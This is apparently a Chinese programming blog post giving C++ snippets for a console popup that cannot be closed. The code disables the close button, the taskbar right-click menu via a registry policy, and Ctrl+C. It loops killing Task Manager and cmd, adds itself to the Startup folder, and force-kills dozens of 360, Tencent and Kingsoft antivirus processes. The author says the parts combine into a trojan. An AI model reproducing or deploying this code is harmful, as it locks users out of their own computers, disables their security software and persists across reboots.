c++完美的让弹窗无法关闭

我们来看一下，如果我们打开一个弹窗，怎样关闭它

#1 右上角叉号

禁用不就得了？

#2 任务栏右键

也可以禁用啊！

#3 cmd

taskkill /f /t /im this_program.exe

这个禁用不了…但…循环结束它进程不就得了？

#4 任务管理器

禁用太麻烦，不如循环结束好

#5 Ctrl+C

果断禁用

#6 关机

做人留一线，日后好相见

我们不让他关不了机

让他重启之后还有😜！！！

#7 杀毒软件

果断结束进程

#8 无视

全屏

实现方法：

#1

void can_not_close(){//这段禁用窗口上的关闭和最小化键
	HWND hwnd=GetConsoleWindow();
	HMENU hmenu=GetSystemMenu(hwnd,false);
	RemoveMenu(hmenu,SC_CLOSE,MF_BYCOMMAND);
	LONG style=GetWindowLong(hwnd, GWL_STYLE);
	style&=~(WS_MINIMIZEBOX);
	SetWindowLong(hwnd,GWL_STYLE,style);
	SetWindowPos(hwnd,HWND_TOP,0,0,0,0,SWP_NOMOVE|SWP_NOSIZE);
	ShowWindow(hwnd,SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hwnd,NULL);
}

要包含windows.h头文件呦

#2

通过修改注册表将其禁用

int Can_not__main(){
	const char* keyPath		="Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer";
	const char* valueName	="NoTrayContextMenu";  
	DWORD dataType 			=REG_DWORD;  
	DWORD data 				=1; // 设置为1来禁用任务栏右键菜单  
	DWORD dataSize 			=sizeof(data);  
	if(ModifyRegistry(keyPath,valueName,dataType,reinterpret_cast<const BYTE*>(&data),dataSize)){  
		std::cout<<"成功禁用任务栏右键菜单！"<<std::endl;  
	}
	else{  
		std::cerr<<"禁用任务栏右键菜单失败！"<<std::endl;  
	}  
  
	return 0;  
}

#3

与 #4 一起实现

do{
	system("taskkill /f /t /im taskmgr.exe");
	system("taskkill /f /t /im cmd.exe");
	system("Cls");
	Sleep(1000);
}while(1);

#5

BOOL CtrlHandler(DWORD fdwCtrlType){  
	switch(fdwCtrlType){  
	// 处理CTRL+C事件  
	case CTRL_C_EVENT:  
		cout<<"Ctrl+C pressed, but the program will not exit."<<std::endl;
		return TRUE;
	case CTRL_CLOSE_EVENT:
		return TRUE;
	case CTRL_BREAK_EVENT:
		return FALSE;  
	case CTRL_LOGOFF_EVENT:  
	case CTRL_SHUTDOWN_EVENT:  
		return FALSE;
	case WM_CLOSE:// 阻止窗口关闭  
		return 0;
	default:  
		return FALSE;
	}
}
bool ModifyRegistry(const char* keyPath, const char* valueName, DWORD dataType, const BYTE* data, DWORD dataSize) {  
	HKEY hKey;  
	LONG result=RegOpenKeyExA(HKEY_CURRENT_USER,keyPath,0,KEY_WRITE,&hKey);  
	if (result==ERROR_SUCCESS) {  
		result=RegSetValueExA(hKey,valueName,0,dataType,data,dataSize);  
		RegCloseKey(hKey);  
		return(result==ERROR_SUCCESS);  
	}  
	return false;  
}

#6

添加开机启动项

	system("copy mine.lnk C:\\Users\\Administrator\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\mine.lnk");

#7

	system("taskkill /f /t /im WDSafeDown.exe");
	system("taskkill /f /t /im 360Tray.exe");
	system("taskkill /f /t /im 360LogCenter.exe");
	system("taskkill /f /t /im PopWndTracker.exe");
	system("taskkill /f /t /im WDPayPro.exe");
	system("taskkill /f /t /im 360realpro.exe");
	system("taskkill /f /t /im 360UDiskPro.exe");
	system("taskkill /f /t /im wdfixsc.exe");
	system("taskkill /f /t /im wdsandbox.exe");
	system("taskkill /f /t /im WscReg.exe");
	system("taskkill /f /t /im 360settingcenter.exe");
	system("taskkill /f /t /im PopWndLog.exe");
	system("taskkill /f /t /im 360PayInsure.exe");
	system("taskkill /f /t /im EPSVHMiniDump64.exe");
	system("taskkill /f /t /im 360Win7Shield.exe");
	system("taskkill /f /t /im 360SPTool.exe");
	system("taskkill /f /t /im wdswfsafe.exe");
	system("taskkill /f /t /im 360UDiskGuard.exe");
	system("taskkill /f /t /im 360sctblist.exe");
	system("taskkill /f /t /im 360sclog.exe");
	system("taskkill /f /t /im 360xpfix.exe");
	system("taskkill /f /t /im 360Toasts.exe");
	/*360 died*/
	system("taskkill /f /t /im QQPCTray.exe");
	system("taskkill /f /t /im QQPCRTP.exe");
	system("taskkill /f /t /im QQPCMgr.exe");
	system("taskkill /f /t /im QQProtect.EXE");
	system("taskkill /f /t /im QQPMDaemon.exe");
	/*腾讯电脑管家 died*/
	system("taskkill /f /t /im KAVStart.exe");
	system("taskkill /f /t /im KWatch.exe");
	system("taskkill /f /t /im KMailMon.exe");
	system("taskkill /f /t /im KMService.exe");
	system("taskkill /f /t /im kxescore.exe");
	system("taskkill /f /t /im kxetray.exe");
	/*金山毒霸 died*/

#8

void quanping(){//全屏 
	HWND hwnd=GetForegroundWindow();
	int cx=GetSystemMetrics(SM_CXSCREEN);
	int cy=GetSystemMetrics(SM_CYSCREEN);
	LONG l_WinStyle=GetWindowLong(hwnd,GWL_STYLE);
	SetWindowLong(hwnd,GWL_STYLE,(l_WinStyle|WS_MAXIMIZE|WS_POPUP)&~WS_CAPTION&~WS_THICKFRAME&~WS_BORDER);
	SetWindowPos(hwnd,HWND_TOP,0,0,cx,cy,0);
	return;
}

凑起来就是一个木马😂

#7要放在程序最前面！！！

代码不易，留赞留关注！！！🙏🙏🙏